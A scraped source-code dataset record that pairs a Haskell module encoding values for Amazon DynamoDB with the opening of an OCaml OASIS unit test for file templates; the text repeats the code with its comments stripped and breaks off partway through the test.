scalarEncode = scalarEncode . unTagged
scalarDecode a = Tagged <$> scalarDecode a
-- | Double as a primary key isn't generally a good thing as equality on double
-- is sometimes a little dodgy. Use scientific instead.
instance DynamoScalar 'D.N Scientific where
scalarEncode = ScN
scalarDecode (ScN num) = Just num
-- | Don't use Double as a part of primary key in a table. It is included here
-- for convenience to be used as a range key in indexes.
instance DynamoScalar 'D.N Double where
scalarEncode = ScN . fromFloatDigits
scalarDecode (ScN num) = Just $ toRealFloat num
instance DynamoScalar 'D.S T.Text where
scalarEncode = ScS
scalarDecode (ScS txt) = Just txt
instance DynamoScalar 'D.B BS.ByteString where
scalarEncode = ScB
scalarDecode (ScB bs) = Just bs
-- | Typeclass showing that this datatype can be saved to DynamoDB.
class DynamoEncodable a where
-- | Encode data. Return 'Nothing' if attribute should be omitted.
dEncode :: a -> Maybe AttributeValue
default dEncode :: (Show a, Read a) => a -> Maybe AttributeValue
dEncode val = Just $ attributeValue & D.avS .~ (Just $ T.pack $ show val)
-- | Decode data. Return 'Nothing' on parsing error, gets
-- 'Nothing' on input if the attribute was missing in the database.
dDecode :: Maybe AttributeValue -> Maybe a
default dDecode :: (Show a, Read a) => Maybe AttributeValue -> Maybe a
dDecode (Just attr) = attr ^. D.avS >>= (readMaybe . T.unpack)
dDecode Nothing = Nothing
-- | Decode data. Return (Left err) on parsing error, gets
-- 'Nothing' on input if the attribute was missing in the database.
-- The default instance uses dDecode, define this just for better errors
dDecodeEither :: Maybe AttributeValue -> Either T.Text a
dDecodeEither = maybe (Left "Decoding error") Right . dDecode
| Aid for searching for empty list and hashmap ; these can be represented
-- both by empty list and by missing value, if this returns true, enhance search.
-- Also used by joins to weed out empty foreign keys
dIsMissing :: a -> Bool
dIsMissing _ = False
instance DynamoEncodable Scientific where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Integer where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Int where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Word where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Int16 where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Int32 where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Int64 where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Double where
dEncode num = Just $ attributeValue & D.avN .~ (Just $ toShortest num)
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Bool where
dEncode b = Just $ attributeValue & D.avBOOL .~ Just b
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) = maybe (Left "Missing value") Right (attr ^. D.avBOOL)
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable T.Text where
dEncode "" = Nothing
dEncode txt = Just (dScalarEncode txt)
dDecode (Just attr)
| Just True <- attr ^. D.avNULL = Just ""
| otherwise = attr ^. D.avS
dDecode Nothing = Just ""
dIsMissing "" = True
dIsMissing _ = False
instance DynamoEncodable BS.ByteString where
dEncode "" = Nothing
dEncode bs = Just (dScalarEncode bs)
dDecode (Just attr) = attr ^. D.avB
dDecode Nothing = Just ""
dIsMissing "" = True
dIsMissing _ = False
instance DynamoEncodable UUID where
dEncode uuid = dEncode (UUID.toText uuid)
dDecode attr = attr >>= dDecode . Just >>= UUID.fromText
instance DynamoScalar 'D.S UUID where
scalarEncode = ScS . UUID.toText
scalarDecode (ScS txt) = UUID.fromText txt
-- | 'Maybe' ('Maybe' a) will not work well; it will 'join' the value in the database.
instance DynamoEncodable a => DynamoEncodable (Maybe a) where
dEncode Nothing = Nothing
dEncode (Just key) = dEncode key
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither Nothing = Right Nothing
dDecodeEither (Just attr) = Just <$> dDecodeEither (Just attr)
dIsMissing Nothing = True
dIsMissing _ = False
instance (Ord a, DynamoScalar v a) => DynamoEncodable (Set.Set a) where
dEncode (Set.null -> True) = Nothing
dEncode dta = Just $ dSetEncode dta
dDecode (Just attr) = dSetDecode attr
dDecode Nothing = Just Set.empty
dDecodeEither (Just attr) = maybe (Left "Error decoding set") Right (dSetDecode attr)
dDecodeEither Nothing = Right Set.empty
instance (IsText t, DynamoEncodable a) => DynamoEncodable (HashMap t a) where
dEncode dta =
let textmap = HMap.fromList $ mapMaybe (\(key, val) -> (toText key,) <$> dEncode val) $ HMap.toList dta
in Just $ attributeValue & D.avM .~ textmap
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
let attrlist = traverse (\(key, val) -> (fromText key,) <$> dDecodeEither (Just val)) $ HMap.toList (attr ^. D.avM)
in HMap.fromList <$> attrlist
dDecodeEither Nothing = Right mempty
dIsMissing = null
-- | DynamoDB cannot represent empty items; ['Maybe' a] will lose Nothings.
instance DynamoEncodable a => DynamoEncodable [a] where
dEncode lst = Just $ attributeValue & D.avL .~ mapMaybe dEncode lst
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) = traverse (dDecodeEither . Just) (attr ^. D.avL)
dDecodeEither Nothing = Right mempty
dIsMissing = null
instance {-# OVERLAPPABLE #-} DynamoEncodable a => DynamoEncodable (Tagged v a) where
dEncode = dEncode . unTagged
dDecode a = Tagged <$> dDecode a
dDecodeEither a = Tagged <$> dDecodeEither a
dIsMissing = dIsMissing . unTagged
| Partial encoding / decoding values . Empty strings get converted to NULL .
instance DynamoEncodable AE.Value where
dEncode (AE.Object obj) = dEncode obj
dEncode (AE.Array lst) = dEncode (toList lst)
dEncode (AE.String txt) = dEncode txt
dEncode num@(AE.Number _) = Just $ attributeValue & D.avN .~ Just (decodeUtf8 (toStrict $ AE.encode num))
dEncode (AE.Bool b) = dEncode b
dEncode AE.Null = Just $ attributeValue & D.avNULL .~ Just True
--
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither Nothing = Right AE.Null
dDecodeEither (Just attr) = -- Ok, this is going to be very hacky...
case AE.toJSON attr of
AE.Object obj -> case HMap.toList obj of
[("BOOL", AE.Bool val)] -> Right (AE.Bool val)
[("L", _)] -> (AE.Array .V.fromList) <$> mapM (dDecodeEither . Just) (attr ^. D.avL)
[("M", _)] -> AE.Object <$> mapM (dDecodeEither . Just) (attr ^. D.avM)
[("N", AE.String num)] -> first T.pack (AE.eitherDecodeStrict (encodeUtf8 num))
[("N", num@(AE.Number _))] -> Right num -- Just in case, this is usually not returned
[("S", AE.String val)] -> Right (AE.String val)
[("NULL", _)] -> Right AE.Null
_ -> Left ("Undecodable json value: " <> decodeUtf8 (toStrict (AE.encode obj)))
_ -> Left "Wrong dynamo data" -- This shouldn't happen
--
dIsMissing AE.Null = True
dIsMissing _ = False
-- | Class to limit +=. and -=. for updates.
class IsNumber a
instance IsNumber Int
instance IsNumber Double
instance IsNumber Integer
instance IsNumber a => IsNumber (Tagged t a)
-- | Class to limit certain operations to text-like only in queries.
Members of this class can be keys to ' ' .
class (Eq a, Hashable a) => IsText a where
toText :: a -> T.Text
fromText :: T.Text -> a
instance IsText T.Text where
toText = id
fromText = id
instance (Hashable (Tagged t a), IsText a) => IsText (Tagged t a) where
toText (Tagged txt) = toText txt
fromText tg = Tagged (fromText tg)
-- | Operation on range key for 'Database.DynamoDB.query'.
data RangeOper a where
RangeEquals :: a -> RangeOper a
RangeLessThan :: a -> RangeOper a
RangeLessThanE :: a -> RangeOper a
RangeGreaterThan :: a -> RangeOper a
RangeGreaterThanE :: a -> RangeOper a
RangeBetween :: a -> a -> RangeOper a
RangeBeginsWith :: (IsText a) => a -> RangeOper a
| null | https://raw.githubusercontent.com/ondrap/dynamodb-simple/fb7e3fe37d7e534161274cfd812cd11a82cc384b/src/Database/DynamoDB/Types.hs | haskell | # LANGUAGE CPP #
# OPTIONS_GHC -Wno-redundant-constraints #
# LANGUAGE DataKinds #
# LANGUAGE DefaultSignatures #
# LANGUAGE FlexibleContexts #
# LANGUAGE GADTs #
# LANGUAGE OverloadedStrings #
# LANGUAGE ScopedTypeVariables #
# LANGUAGE ViewPatterns #
|
* Exceptions
* Marshalling
* Query datatype
* Utility functions
| Exceptions thrown by some dynamodb-simple actions.
| Typeclass signifying that this is a scalar attribute and can be used as a hash/sort key.
> scalarEncode = ScS
| Scalars must have total encoding function
| Helper for tagged values
# OVERLAPPABLE #
| Double as a primary key isn't generally a good thing as equality on double
is sometimes a little dodgy. Use scientific instead.
| Don't use Double as a part of primary key in a table. It is included here
for convenience to be used as a range key in indexes.
| Typeclass showing that this datatype can be saved to DynamoDB.
| Encode data. Return 'Nothing' if attribute should be omitted.
| Decode data. Return 'Nothing' on parsing error, gets
'Nothing' on input if the attribute was missing in the database.
| Decode data. Return (Left err) on parsing error, gets
'Nothing' on input if the attribute was missing in the database.
The default instance uses dDecode, define this just for better errors
both by empty list and by missing value, if this returns true, enhance search.
Also used by joins to weed out empty foreign keys
| 'Maybe' ('Maybe' a) will not work well; it will 'join' the value in the database.
| DynamoDB cannot represent empty items; ['Maybe' a] will lose Nothings.
# OVERLAPPABLE #
Ok, this is going to be very hacky...
Just in case, this is usually not returned
This shouldn't happen
| Class to limit +=. and -=. for updates.
| Class to limit certain operations to text-like only in queries.
| Operation on range key for 'Database.DynamoDB.query'. | #if __GLASGOW_HASKELL__ >= 800
#endif
# LANGUAGE FlexibleInstances #
# LANGUAGE FunctionalDependencies #
# LANGUAGE KindSignatures #
# LANGUAGE MultiParamTypeClasses #
# LANGUAGE PatternSynonyms #
# LANGUAGE TupleSections #
# LANGUAGE UndecidableInstances #
module Database.DynamoDB.Types (
DynamoException(..)
, DynamoEncodable(..)
, DynamoScalar(..)
, ScalarValue(..)
, IsText(..), IsNumber
, RangeOper(..)
, dType
, dScalarEncode
) where
import Control.Exception (Exception)
import Control.Lens ((.~), (^.))
import qualified Data.Aeson as AE
import Data.Bifunctor (first)
import qualified Data.ByteString as BS
import Data.ByteString.Lazy (toStrict)
import Data.Double.Conversion.Text (toShortest)
import Data.Foldable (toList)
import Data.Function ((&))
import Data.Hashable (Hashable)
import Data.HashMap.Strict (HashMap)
import qualified Data.HashMap.Strict as HMap
import Data.Maybe (mapMaybe)
import Data.Monoid ((<>))
import Data.Proxy
import Data.UUID.Types (UUID)
import qualified Data.UUID.Types as UUID
import Data.Scientific (Scientific, floatingOrInteger,
fromFloatDigits, toBoundedInteger,
toRealFloat)
import qualified Data.Set as Set
import Data.Tagged (Tagged (..), unTagged)
import qualified Data.Text as T
import Data.Text.Encoding (decodeUtf8, encodeUtf8)
import qualified Data.Vector as V
import Network.AWS.DynamoDB.Types (AttributeValue,
ScalarAttributeType,
attributeValue)
import qualified Network.AWS.DynamoDB.Types as D
import Text.Read (readMaybe)
import Data.Int (Int16, Int32, Int64)
data DynamoException = DynamoException T.Text
deriving (Show)
instance Exception DynamoException
| Datatype for encoding scalar values
data ScalarValue (v :: D.ScalarAttributeType) where
ScS :: !T.Text -> ScalarValue 'D.S
ScN :: !Scientific -> ScalarValue 'D.N
ScB :: !BS.ByteString -> ScalarValue 'D.B
class ScalarAuto (v :: D.ScalarAttributeType) where
dTypeV :: Proxy v -> ScalarAttributeType
dSetEncodeV :: [ScalarValue v] -> AttributeValue
dSetDecodeV :: AttributeValue -> Maybe [ScalarValue v]
instance ScalarAuto 'D.S where
dTypeV _ = D.S
dSetEncodeV lst = attributeValue & D.avSS .~ map (\(ScS txt) -> txt) lst
dSetDecodeV attr = Just $ map ScS $ attr ^. D.avSS
instance ScalarAuto 'D.N where
dTypeV _ = D.N
dSetEncodeV lst = attributeValue & D.avNS .~ map (\(ScN num) -> decodeUtf8 (toStrict $ AE.encode num)) lst
dSetDecodeV attr = traverse (\n -> ScN <$> AE.decodeStrict (encodeUtf8 n)) (attr ^. D.avSS)
instance ScalarAuto 'D.B where
dTypeV _ = D.B
dSetEncodeV lst = attributeValue & D.avBS .~ map (\(ScB txt) -> txt) lst
dSetDecodeV attr = Just $ map ScB $ attr ^. D.avBS
dType :: forall a v. DynamoScalar v a => Proxy a -> ScalarAttributeType
dType _ = dTypeV (Proxy :: Proxy v)
dScalarEncode :: DynamoScalar v a => a -> AttributeValue
dScalarEncode a =
case scalarEncode a of
ScS txt -> attributeValue & D.avS .~ Just txt
ScN num -> attributeValue & D.avN .~ Just (decodeUtf8 (toStrict $ AE.encode num))
ScB bs -> attributeValue & D.avB .~ Just bs
dSetEncode :: DynamoScalar v a => Set.Set a -> AttributeValue
dSetEncode vset = dSetEncodeV $ map scalarEncode $ toList vset
dSetDecode :: (Ord a, DynamoScalar v a) => AttributeValue -> Maybe (Set.Set a)
dSetDecode attr = dSetDecodeV attr >>= traverse scalarDecode >>= pure . Set.fromList
> instance DynamoScalar Network . AWS.DynamoDB.Types . S T.Text where
> scalarDecode ( txt ) = Just txt
class ScalarAuto v => DynamoScalar (v :: D.ScalarAttributeType) a | a -> v where
scalarEncode :: a -> ScalarValue v
default scalarEncode :: (Show a, Read a, v ~ 'D.S) => a -> ScalarValue v
scalarEncode = ScS . T.pack . show
scalarDecode :: ScalarValue v -> Maybe a
default scalarDecode :: (Show a, Read a, v ~ 'D.S) => ScalarValue v -> Maybe a
scalarDecode (ScS txt) = readMaybe (T.unpack txt)
instance DynamoScalar 'D.N Integer where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) =
case floatingOrInteger num :: Either Double Integer of
Right x -> Just x
Left _ -> Nothing
instance DynamoScalar 'D.N Int where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
instance DynamoScalar 'D.N Int16 where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
instance DynamoScalar 'D.N Int32 where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
instance DynamoScalar 'D.N Int64 where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
instance DynamoScalar 'D.N Word where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
scalarEncode = scalarEncode . unTagged
scalarDecode a = Tagged <$> scalarDecode a
instance DynamoScalar 'D.N Scientific where
scalarEncode = ScN
scalarDecode (ScN num) = Just num
instance DynamoScalar 'D.N Double where
scalarEncode = ScN . fromFloatDigits
scalarDecode (ScN num) = Just $ toRealFloat num
instance DynamoScalar 'D.S T.Text where
scalarEncode = ScS
scalarDecode (ScS txt) = Just txt
instance DynamoScalar 'D.B BS.ByteString where
scalarEncode = ScB
scalarDecode (ScB bs) = Just bs
class DynamoEncodable a where
dEncode :: a -> Maybe AttributeValue
default dEncode :: (Show a, Read a) => a -> Maybe AttributeValue
dEncode val = Just $ attributeValue & D.avS .~ (Just $ T.pack $ show val)
dDecode :: Maybe AttributeValue -> Maybe a
default dDecode :: (Show a, Read a) => Maybe AttributeValue -> Maybe a
dDecode (Just attr) = attr ^. D.avS >>= (readMaybe . T.unpack)
dDecode Nothing = Nothing
dDecodeEither :: Maybe AttributeValue -> Either T.Text a
dDecodeEither = maybe (Left "Decoding error") Right . dDecode
| Aid for searching for empty list and hashmap ; these can be represented
dIsMissing :: a -> Bool
dIsMissing _ = False
instance DynamoEncodable Scientific where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Integer where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Int where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Word where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Int16 where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Int32 where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Int64 where
dEncode = Just . dScalarEncode
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Double where
dEncode num = Just $ attributeValue & D.avN .~ (Just $ toShortest num)
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
maybe (Left "Missing value") Right (attr ^. D.avN)
>>= first T.pack . AE.eitherDecodeStrict . encodeUtf8
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable Bool where
dEncode b = Just $ attributeValue & D.avBOOL .~ Just b
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) = maybe (Left "Missing value") Right (attr ^. D.avBOOL)
dDecodeEither Nothing = Left "Missing attr"
instance DynamoEncodable T.Text where
dEncode "" = Nothing
dEncode txt = Just (dScalarEncode txt)
dDecode (Just attr)
| Just True <- attr ^. D.avNULL = Just ""
| otherwise = attr ^. D.avS
dDecode Nothing = Just ""
dIsMissing "" = True
dIsMissing _ = False
instance DynamoEncodable BS.ByteString where
dEncode "" = Nothing
dEncode bs = Just (dScalarEncode bs)
dDecode (Just attr) = attr ^. D.avB
dDecode Nothing = Just ""
dIsMissing "" = True
dIsMissing _ = False
instance DynamoEncodable UUID where
dEncode uuid = dEncode (UUID.toText uuid)
dDecode attr = attr >>= dDecode . Just >>= UUID.fromText
instance DynamoScalar 'D.S UUID where
scalarEncode = ScS . UUID.toText
scalarDecode (ScS txt) = UUID.fromText txt
instance DynamoEncodable a => DynamoEncodable (Maybe a) where
dEncode Nothing = Nothing
dEncode (Just key) = dEncode key
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither Nothing = Right Nothing
dDecodeEither (Just attr) = Just <$> dDecodeEither (Just attr)
dIsMissing Nothing = True
dIsMissing _ = False
instance (Ord a, DynamoScalar v a) => DynamoEncodable (Set.Set a) where
dEncode (Set.null -> True) = Nothing
dEncode dta = Just $ dSetEncode dta
dDecode (Just attr) = dSetDecode attr
dDecode Nothing = Just Set.empty
dDecodeEither (Just attr) = maybe (Left "Error decoding set") Right (dSetDecode attr)
dDecodeEither Nothing = Right Set.empty
instance (IsText t, DynamoEncodable a) => DynamoEncodable (HashMap t a) where
dEncode dta =
let textmap = HMap.fromList $ mapMaybe (\(key, val) -> (toText key,) <$> dEncode val) $ HMap.toList dta
in Just $ attributeValue & D.avM .~ textmap
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) =
let attrlist = traverse (\(key, val) -> (fromText key,) <$> dDecodeEither (Just val)) $ HMap.toList (attr ^. D.avM)
in HMap.fromList <$> attrlist
dDecodeEither Nothing = Right mempty
dIsMissing = null
instance DynamoEncodable a => DynamoEncodable [a] where
dEncode lst = Just $ attributeValue & D.avL .~ mapMaybe dEncode lst
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither (Just attr) = traverse (dDecodeEither . Just) (attr ^. D.avL)
dDecodeEither Nothing = Right mempty
dIsMissing = null
dEncode = dEncode . unTagged
dDecode a = Tagged <$> dDecode a
dDecodeEither a = Tagged <$> dDecodeEither a
dIsMissing = dIsMissing . unTagged
| Partial encoding / decoding values . Empty strings get converted to NULL .
instance DynamoEncodable AE.Value where
dEncode (AE.Object obj) = dEncode obj
dEncode (AE.Array lst) = dEncode (toList lst)
dEncode (AE.String txt) = dEncode txt
dEncode num@(AE.Number _) = Just $ attributeValue & D.avN .~ Just (decodeUtf8 (toStrict $ AE.encode num))
dEncode (AE.Bool b) = dEncode b
dEncode AE.Null = Just $ attributeValue & D.avNULL .~ Just True
dDecode = either (const Nothing) Just . dDecodeEither
dDecodeEither Nothing = Right AE.Null
case AE.toJSON attr of
AE.Object obj -> case HMap.toList obj of
[("BOOL", AE.Bool val)] -> Right (AE.Bool val)
[("L", _)] -> (AE.Array .V.fromList) <$> mapM (dDecodeEither . Just) (attr ^. D.avL)
[("M", _)] -> AE.Object <$> mapM (dDecodeEither . Just) (attr ^. D.avM)
[("N", AE.String num)] -> first T.pack (AE.eitherDecodeStrict (encodeUtf8 num))
[("S", AE.String val)] -> Right (AE.String val)
[("NULL", _)] -> Right AE.Null
_ -> Left ("Undecodable json value: " <> decodeUtf8 (toStrict (AE.encode obj)))
dIsMissing AE.Null = True
dIsMissing _ = False
class IsNumber a
instance IsNumber Int
instance IsNumber Double
instance IsNumber Integer
instance IsNumber a => IsNumber (Tagged t a)
Members of this class can be keys to ' ' .
class (Eq a, Hashable a) => IsText a where
toText :: a -> T.Text
fromText :: T.Text -> a
instance IsText T.Text where
toText = id
fromText = id
instance (Hashable (Tagged t a), IsText a) => IsText (Tagged t a) where
toText (Tagged txt) = toText txt
fromText tg = Tagged (fromText tg)
data RangeOper a where
RangeEquals :: a -> RangeOper a
RangeLessThan :: a -> RangeOper a
RangeLessThanE :: a -> RangeOper a
RangeGreaterThan :: a -> RangeOper a
RangeGreaterThanE :: a -> RangeOper a
RangeBetween :: a -> a -> RangeOper a
RangeBeginsWith :: (IsText a) => a -> RangeOper a
|
646540a39d4b63cb8d86622af8cc05eba094aee3445d556261a96b827a3195b3 | ocaml/oasis | TestFileTemplate.ml | (******************************************************************************)
OASIS : architecture for building OCaml libraries and applications
(* *)
Copyright ( C ) 2011 - 2016 ,
Copyright ( C ) 2008 - 2011 , OCamlCore SARL
(* *)
(* This library is free software; you can redistribute it and/or modify it *)
(* under the terms of the GNU Lesser General Public License as published by *)
the Free Software Foundation ; either version 2.1 of the License , or ( at
(* your option) any later version, with the OCaml static compilation *)
(* exception. *)
(* *)
(* This library is distributed in the hope that it will be useful, but *)
(* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY *)
(* or FITNESS FOR A PARTICULAR PURPOSE. See the file COPYING for more *)
(* details. *)
(* *)
You should have received a copy of the GNU Lesser General Public License
along with this library ; if not , write to the Free Software Foundation ,
Inc. , 51 Franklin St , Fifth Floor , Boston , MA 02110 - 1301 USA
(******************************************************************************)
* Tests for OASISFileTemplate
@author
@author Sylvain Le Gall
*)
open OUnit2
open TestCommon
open OASISFileTemplate
let printer_change =
function
| Create fn -> Printf.sprintf "Create %S" fn
| Change (fn, Some fn') ->
Printf.sprintf "Change (%S, Some %s)" fn fn'
| Change (fn, None) ->
Printf.sprintf "Change (%S, None)" fn
| NoChange ->
"NoChange"
let tests =
let test_of_vector (fn, content_lst, comment_fmt) =
fn >::
(fun test_ctxt ->
let real_fn = in_testdata_dir test_ctxt ["TestFileTemplate"; fn] in
let tmpdir = bracket_tmpdir test_ctxt in
let expected_fn = real_fn ^ "-exp" in
let tmp_fn =
(* Copy file to temporary. *)
if Sys.file_exists real_fn then
FileUtil.cp [real_fn] tmpdir;
Filename.concat tmpdir (Filename.basename real_fn)
in
let chng: file_generate_change =
file_generate
~ctxt:(oasis_ctxt test_ctxt)
~backup:true
(template_of_string_list
~ctxt:(oasis_ctxt test_ctxt)
~template:true
tmp_fn
comment_fmt
content_lst)
in
assert_equal
~msg:"File content"
~printer:(Printf.sprintf "%S")
(file_content expected_fn)
(file_content tmp_fn);
file_rollback ~ctxt:(oasis_ctxt test_ctxt) chng;
if Sys.file_exists real_fn then begin
assert_equal
~msg:"File content back to pristine."
(file_content real_fn)
(file_content tmp_fn);
FileUtil.rm [tmp_fn];
end;
assert_equal
~msg:"Temporary directory empty."
0
(List.length (FileUtil.ls tmpdir)))
in
"FileTemplate" >:::
(
List.map test_of_vector
[
"filetemplate1.txt",
[
"toto";
"# OASIS_START ";
"# OASIS_STOP ";
],
comment_sh;
"filetemplate2.txt",
[
"toto";
"# OASIS_START ";
"# OASIS_STOP ";
],
comment_sh;
"filetemplate3.txt",
[
"toto";
"# OASIS_START ";
"# OASIS_STOP ";
],
comment_sh;
"filetemplate4.txt",
[
"toto";
"# OASIS_START ";
"# OASIS_STOP ";
],
comment_sh;
"filetemplate5.txt",
[
"toto";
"# OASIS_START ";
"tata";
"# OASIS_STOP ";
],
comment_sh;
]
)
@
[
"Keep file rights" >::
(fun test_ctxt ->
let () =
skip_if (Sys.os_type = "Win32") "UNIX only test"
in
let dn = bracket_tmpdir test_ctxt in
let fn = Filename.concat dn "foo.sh" in
let chn = open_out fn in
let () =
output_string
chn
"# OASIS_START\n\
# OASIS_STOP\n";
close_out chn
in
let own, grp_org =
let st = Unix.stat fn in
st.Unix.st_uid, st.Unix.st_gid
in
let grp =
let lst =
Array.to_list (Unix.getgroups ())
in
(* Try to find a group accessible to the user
* and different from the current group
*)
try
List.find (fun gid' -> grp_org <> gid') lst
with Not_found ->
skip_if true "No available group to change group of the file";
grp_org
in
let () =
Unix.chown fn own grp
in
let chng =
file_generate
~ctxt:(oasis_ctxt test_ctxt)
~backup:true
(template_make
fn
comment_sh
[]
["echo Hello"]
[])
in
file_rollback ~ctxt:(oasis_ctxt test_ctxt) chng;
assert_equal
~msg:"File chgrp"
~printer:string_of_int
grp
((Unix.stat fn).Unix.st_gid));
"bug1382-keep all eol" >::
(fun test_ctxt ->
let dn = bracket_tmpdir test_ctxt in
let fn = Filename.concat dn "foo.txt" in
let ghost_meta_template =
template_make fn comment_meta [] ["nothing"; ""; "bar"] []
in
assert_equal
~printer:printer_change
(Create fn)
(file_generate ~ctxt:(oasis_ctxt test_ctxt) ~backup:false ghost_meta_template);
assert_equal
~printer:printer_change
NoChange
(file_generate ~ctxt:(oasis_ctxt test_ctxt) ~backup:false ghost_meta_template);
());
]
| null | https://raw.githubusercontent.com/ocaml/oasis/3d1a9421db92a0882ebc58c5df219b18c1e5681d/test/test-main/TestFileTemplate.ml | ocaml | ****************************************************************************
This library is free software; you can redistribute it and/or modify it
under the terms of the GNU Lesser General Public License as published by
your option) any later version, with the OCaml static compilation
exception.
This library is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE. See the file COPYING for more
details.
****************************************************************************
Copy file to temporary.
Try to find a group accessible to the user
* and different from the current group
| OASIS : architecture for building OCaml libraries and applications
Copyright ( C ) 2011 - 2016 ,
Copyright ( C ) 2008 - 2011 , OCamlCore SARL
the Free Software Foundation ; either version 2.1 of the License , or ( at
You should have received a copy of the GNU Lesser General Public License
along with this library ; if not , write to the Free Software Foundation ,
Inc. , 51 Franklin St , Fifth Floor , Boston , MA 02110 - 1301 USA
* Tests for OASISFileTemplate
@author
@author Sylvain Le Gall
*)
open OUnit2
open TestCommon
open OASISFileTemplate
let printer_change =
function
| Create fn -> Printf.sprintf "Create %S" fn
| Change (fn, Some fn') ->
Printf.sprintf "Change (%S, Some %s)" fn fn'
| Change (fn, None) ->
Printf.sprintf "Change (%S, None)" fn
| NoChange ->
"NoChange"
let tests =
let test_of_vector (fn, content_lst, comment_fmt) =
fn >::
(fun test_ctxt ->
let real_fn = in_testdata_dir test_ctxt ["TestFileTemplate"; fn] in
let tmpdir = bracket_tmpdir test_ctxt in
let expected_fn = real_fn ^ "-exp" in
let tmp_fn =
if Sys.file_exists real_fn then
